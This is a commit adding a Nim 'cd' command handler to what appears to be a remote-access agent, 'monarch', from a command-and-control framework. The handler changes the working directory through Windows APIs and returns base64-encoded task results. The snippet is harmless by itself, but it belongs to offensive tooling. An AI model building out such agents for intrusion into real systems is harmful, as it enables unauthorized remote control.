Implemented 'cd' and 'ls' commands using Windows APIs.
This commit is contained in:
27
agents/monarch/commands/cd.nim
Normal file
27
agents/monarch/commands/cd.nim
Normal file
@@ -0,0 +1,27 @@
|
||||
import os, strutils, base64, winim, strformat, sequtils
|
||||
import ../types
|
||||
|
||||
proc taskCd*(task: Task): TaskResult =
|
||||
|
||||
let targetDirectory = task.args.join(" ").replace("\"", "").replace("'", "")
|
||||
echo fmt"Changing current working directory to {targetDirectory}."
|
||||
|
||||
try:
|
||||
# Get current working directory using GetCurrentDirectory
|
||||
if SetCurrentDirectoryW(targetDirectory) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
Reference in New Issue
Block a user